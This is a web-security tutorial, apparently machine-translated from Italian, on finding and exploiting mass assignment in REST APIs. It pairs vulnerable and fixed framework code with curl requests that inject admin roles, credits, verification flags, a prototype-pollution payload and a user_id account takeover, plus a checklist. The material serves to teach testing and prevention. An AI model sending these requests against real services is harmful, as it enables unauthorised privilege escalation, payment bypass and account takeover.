web hacking

Mass Assignment: How to Find and Use It in APIs

Mass Assignment: How to Find and Use It in APIs

Learn what mass assignment is, how to identify it, and how to leverage it in REST APIs, with practical examples for Rails, Laravel, Django, Node.js, and Burp Suite.

  • Posted on 2026-08-04
  • Reading time: 7 min

Mass Assignment: What It Is, How to Find It, and How to Use It #

Mass assignment is a vulnerability where the application automatically takes parameters coming from an HTTP request and assigns them directly to the properties of an object or record in the database—without filtering which parameters are safe and which are not.

In practice: you send a field that you shouldn't be able to modify, and the application accepts it anyway. The most classic case is to become an admin by adding "role": "admin" to a registration request.

It's easy to find, often has a critical impact, and is hidden especially in modern REST APIs. OWASP covers Mass Assignment in the Web Security Testing Guide and, in the 2023 API Security Top 10, includes it under API3:2023 — Broken Object Property Level Authorization. In the previous 2019 edition, it was classified separately as API6:2019 — Mass Assignment.

See also: idor , broken-access-control , auth-access-control-complete-guide , privilege-escalation-web.


How It Works: The Basic Concept #

Modern web frameworks have a convenient feature: you can create or update an object by passing request data directly without assigning it one by one. In Rails it's called update(params), in Laravel fill($request->all()), in Django serializer.save().

The problem: If you don't explicitly specify which fields the user can edit, the framework assigns everything—including fields it shouldn't.

Imagine a database with this table users:

text
id | username | email          | password | role  | credits
1  | mario    | mario@mail.com | hash...  | user  | 0

The registration form only has a username, email, and password. But the database also has role e credits.

Vulnerable code (Rails):

ruby
# Il controller prende tutti i parametri e li assegna all'utente
def create
  @user = User.new(params[:user])  # ← assegna TUTTO senza filtri
  @user.save
end

What the normal user sends:

http
POST /register HTTP/1.1
Content-Type: application/json

{
  "username": "mario",
  "email": "mario@mail.com",
  "password": "password123"
}

What the attacker sends:

http
POST /register HTTP/1.1
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@mail.com",
  "password": "password123",
  "role": "admin",
  "credits": 99999
}

If the application is vulnerable, the record is saved with role = "admin" e credits = 99999The attacker just registered as an administrator.


Why It Happens: The Developer Side #

Modern frameworks encourage productivity. A line like User.new(params) It's much more convenient than:

ruby
@user = User.new(
  username: params[:username],
  email:    params[:email],
  password: params[:password]
  # ricordarsi di NON includere role, credits, is_admin...
)

The problem is that forgetting a field in the whitelist doesn't cause visible errors—the application works. But that same field can be set by anyone.


How It Looks Like in Each Framework #

Ruby on Rails #

Rails solved the problem with Strong Parameters (introduced in Rails 4). The developer must explicitly declare which parameters are allowed:

ruby
# SICURO: whitelist esplicita
def user_params
  params.require(:user).permit(:username, :email, :password)
  # role e credits non sono nella whitelist → ignorati
end

def create
  @user = User.new(user_params)
  @user.save
end

# VULNERABILE: nessun filtro
def create
  @user = User.new(params[:user])  # assegna tutto
  @user.save
end

# VULNERABILE: whitelist troppo permissiva
def user_params
  params.require(:user).permit!  # permit! = permetti TUTTO ← errore comune
end

How to test in Rails:

bash
# Cerca nelle response o nel codice esposto se .permit! è usato
# Poi aggiungi parametri extra alla request
curl -X POST "https://target.com/users" \
  -H "Content-Type: application/json" \
  -d '{"user": {"username":"test","email":"test@test.com","password":"pass","role":"admin"}}'

# Verifica: l'utente creato ha role=admin?
curl "https://target.com/users/me" -H "Cookie: session=..."
# {"username":"test","role":"admin"} → vulnerabile

Laravel (PHP) #

Laravel uses $fillable e $guarded in Eloquent models:

php
// SICURO: solo i campi in $fillable possono essere assegnati in massa
class User extends Model {
    protected $fillable = ['username', 'email', 'password'];
    // role e is_admin non sono qui → ignorati da fill()
}

// VULNERABILE: $guarded vuoto = tutto è assegnabile
class User extends Model {
    protected $guarded = [];  // ← nessuna protezione
}

// VULNERABILE: $guarded manca del tutto (il default di alcuni tutorial vecchi)
class User extends Model {
    // senza $fillable né $guarded → tutto assegnabile
}

// VULNERABILE nel controller: passa tutto il request
public function store(Request $request) {
    User::create($request->all());  // ← assegna tutto senza filtri
}

How to test in Laravel:

bash
# Aggiungi campi extra alla request di registrazione/aggiornamento
curl -X POST "https://target.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","email":"test@test.com","password":"pass","password_confirmation":"pass","is_admin":true}'

# Oppure con form data
curl -X POST "https://target.com/register" \
  -d "name=test&email=test%40test.com&password=pass&password_confirmation=pass&is_admin=1"

Django (Python) #

In Django the problem occurs in the DRF (Django REST Framework) serializers:

python
# SICURO: fields espliciti
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['username', 'email', 'password']
        # role e is_staff non sono qui → ignorati

# VULNERABILE: fields = '__all__' → tutto è esposto e assegnabile
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = '__all__'  # ← assegna tutto, inclusi is_staff, is_superuser

# VULNERABILE: read_only_fields non impostato per campi sensibili
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['username', 'email', 'password', 'role']
        # role è in fields ma non in read_only_fields → scrivibile dall'utente

As texts in Django:

bash
curl -X POST "https://target.com/api/users/" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com","password":"pass","is_staff":true,"is_superuser":true}'

Node.js / Express with Mongoose #

javascript
// VULNERABILE: assegna direttamente l'intero body
app.post('/users', async (req, res) => {
  const user = new User(req.body);  // ← req.body viene da te
  await user.save();
  res.json(user);
});

// SICURO: whitelist esplicita
app.post('/users', async (req, res) => {
  const user = new User({
    username: req.body.username,
    email:    req.body.email,
    password: req.body.password
    // role non viene mai preso da req.body
  });
  await user.save();
});

As texts in Node.js:

bash
curl -X POST "https://target.com/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com","password":"pass","role":"admin","__proto__":{"isAdmin":true}}'
# Nota: __proto__ è un vettore aggiuntivo (prototype pollution) in alcuni stack Node.js

How to Find Mass Assignment: Methodology #

Step 1 — Read the API Documentation or Code #

If you have access to the documentation (Swagger, OpenAPI, Postman collection), look for the difference between the fields the server returns in GET and those it accepts in POST/PUT.

bash
# Fetch della documentazione Swagger/OpenAPI
curl "https://target.com/api/swagger.json" | python3 -m json.tool
curl "https://target.com/api/docs"
curl "https://target.com/openapi.yaml"

# Confronta:
# GET /users/me → restituisce: {id, username, email, role, credits, is_admin}
# POST /users   → documentazione dice: {username, email, password}
# → role, credits, is_admin NON sono nella documentazione PUT/POST
#   ma esistono nel modello → prova ad aggiungerli alla request

Step 2 — Compare GET and POST/PUT #

Send a GET and look at all the fields the server returns. Then send a POST or PUT, adding those extra fields to the request.

bash
# Passo 1: vedi cosa restituisce il profilo
curl "https://target.com/api/users/me" \
  -H "Authorization: Bearer TOKEN"
# Response:
# {
#   "id": 42,
#   "username": "mario",
#   "email": "mario@mail.com",
#   "role": "user",          ← esiste nel modello
#   "credits": 100,          ← esiste nel modello
#   "is_admin": false,       ← esiste nel modello
#   "subscription": "free"   ← esiste nel modello
# }

# Passo 2: prova ad aggiornare quei campi
curl -X PUT "https://target.com/api/users/me" \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "admin",
    "is_admin": true,
    "credits": 99999,
    "subscription": "premium"
  }'

# Passo 3: rileggi il profilo
curl "https://target.com/api/users/me" \
  -H "Authorization: Bearer TOKEN"
# Se role o is_admin sono cambiati → mass assignment confermato

Step 3 — Head While Recording #

Registration is often the most vulnerable point because developers only think about the form fields.

bash
# Prova i campi sensibili più comuni
curl -X POST "https://target.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "testuser",
    "email": "test@test.com",
    "password": "Password123!",
    "role": "admin",
    "is_admin": true,
    "is_staff": true,
    "admin": true,
    "verified": true,
    "email_verified": true,
    "credits": 99999,
    "balance": 99999,
    "subscription_plan": "enterprise",
    "account_type": "premium"
  }'

# Poi verifica cosa è stato salvato:
# Login e controlla il profilo, oppure guarda la response della registrazione stessa

Step 4 — Use Burp to Intercept and Modify #

text
1. Intercetta la request di aggiornamento profilo con Burp
2. Inviala al Repeater (Ctrl+R)
3. Aggiungi campi extra nel body JSON
4. Manda la request e confronta la response
5. Se i campi extra compaiono nella response → mass assignment

Step 5 — Test with Different Formats #

Some applications filter only JSON requests but not form-encoded ones, or vice versa:

bash
# JSON
curl -X POST "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","role":"admin"}'

# Form URL-encoded
curl -X POST "https://target.com/profile" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=test&role=admin"

# Multipart (form con file)
curl -X POST "https://target.com/profile" \
  -F "username=test" \
  -F "role=admin"

Fields to Always Test #

These are the fields that almost all pentesters and bug hunters look for:

text
RUOLO / PERMESSI
role, roles, user_role, account_type, user_type, type
is_admin, admin, isAdmin, is_staff, is_superuser
permission, permissions, access_level, privilege

VERIFICA / STATO ACCOUNT
verified, email_verified, phone_verified, is_verified
active, is_active, activated, status, account_status
banned, is_banned, suspended

CREDITI / SALDO
credits, balance, tokens, points, coins
subscription, subscription_plan, plan, tier
premium, is_premium, pro, enterprise

RELAZIONI (per IDOR via mass assignment)
user_id, owner_id, account_id, organization_id, company_id
# → Cambia user_id con l'ID di un altro utente = prendi il controllo dell'account

METADATI TECNICI
created_at, updated_at  → alcuni DB accettano date false
password_hash           → se accettato → bypass auth
api_key, token          → se assegnabile → generi il tuo token

Examples of Real Escalations #

From User to Admin (the most common case) #

bash
# Durante la registrazione
curl -X POST "https://target.com/api/v1/users" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"pass","role":"admin"}'

# Risposta vulnerabile:
# {"id":99,"email":"attacker@evil.com","role":"admin"}
# ← role è stato accettato → sei admin

From Free to Premium Without Paying #

bash
curl -X PUT "https://target.com/api/account" \
  -H "Authorization: Bearer TOKEN_UTENTE_FREE" \
  -H "Content-Type: application/json" \
  -d '{"subscription_plan":"enterprise","credits":99999}'

# Se l'applicazione accetta → hai sblocato tutte le feature premium gratuitamente

Taking Control of Another User's Account #

Some applications accept user_id o owner_id in update requests:

bash
# Aggiorna il tuo profilo MA con l'ID di un altro utente
curl -X PUT "https://target.com/api/profile" \
  -H "Authorization: Bearer MIO_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"user_id": 1, "email": "attacker@evil.com"}'

# Se l'applicazione cambia l'email dell'utente 1 (admin) → account takeover
bash
curl -X PUT "https://target.com/api/profile" \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified": true, "phone_verified": true}'

# Alcune applicazioni rimuovono limitazioni agli account non verificati
# → bypasdi la verifica email senza accedervi

Mass Assignment in REST APIs (OWASP API6) #

In modern APIs, the problem is amplified because developers often return the entire object in the GET response, unintentionally exposing all the model fields. This tells you exactly what fields exist, and you can try to write them.

bash
# Pattern da seguire sistematicamente:

# 1. GET → vedi tutti i campi del modello
GET /api/v1/users/me
# {"id":42,"username":"mario","role":"user","plan":"free","balance":0,"internal_id":"abc-123"}

# 2. Identifica i campi sensibili che non dovresti poter modificare:
#    role, plan, balance, internal_id

# 3. POST/PUT → prova ad assegnarli
PUT /api/v1/users/me
{"role":"admin","plan":"enterprise","balance":10000}

# 4. GET → controlla se sono cambiati
GET /api/v1/users/me
# {"role":"admin","plan":"enterprise","balance":10000} → vulnerabile

Checklist #

text
RECONNAISSANCE
☐ Swagger/OpenAPI disponibile? Confronta campi GET vs POST/PUT
☐ Tutti i campi visibili in GET annotati
☐ Campi sensibili identificati: role, is_admin, credits, verified...

TESTING REGISTRAZIONE
☐ role / user_role / account_type aggiunto alla request
☐ is_admin / admin / is_staff / is_superuser aggiunto
☐ credits / balance / subscription aggiunto
☐ email_verified / verified aggiunto
☐ Risposta verificata: i campi sono stati accettati?

TESTING AGGIORNAMENTO PROFILO
☐ PUT/PATCH /profile testato con campi extra
☐ Confronto GET prima e dopo aggiornamento
☐ user_id / owner_id testato (IDOR via mass assignment)

TESTING FORMATI
☐ JSON testato
☐ Form URL-encoded testato
☐ Multipart testato

ESCALATION
☐ role=admin confermato → accesso panel admin verificato?
☐ is_admin=true confermato → funzionalità admin accessibili?
☐ credits/balance modificati → funzionalità premium sbloccate?
☐ email_verified=true → limitazioni account rimosse?
☐ user_id di altro utente → ATO confermato?

FAQ #

How do I know which fields exist in the template if I don't see the documentation? Look at the GET response. Many APIs return the full model, even for regular users. Also look for error pages or stack traces that reveal the database structure. Also try common fields for naming conventions: if you see role, try also roles, user_role, account_type.

The field is accepted in the response but doesn't seem to change anything. Why? The application might accept the input field but ignore it when saving, or the field is saved but not used in access controls. Always verify that the change actually takes effect: try accessing the admin functions, check the actual balance, etc.

What is the difference between mass assignment and IDOR? IDOR = you access an object that isn't yours (you change the ID in the request). Mass assignment = you modify fields that you shouldn't be able to modify in your object (you add extra fields). Often combined: changes user_id (IDOR) and add role=admin (mass assignment) in the same request.

What is the severity of a report? It depends on the impact. From user to admin → Critical . Change balance/credits → High . Bypass email verification → Medium/High . Access to premium features without paying → Medium.

How is it prevented? With an explicit whitelist of acceptable fields for each endpoint: permit() in Rails, $fillable in Laravel, fields In Django serializer, manual deserialization in Node. Never use params.permit!, $guarded = [], request->all() on models with sensitive fields.


You added "role":"admin" at the registration request. The app starts to shake…

#mass-assignment #api-security #broken-access-control #rest-api #burp-suite #owasp-api-top-10

leave a message

I'm not a robot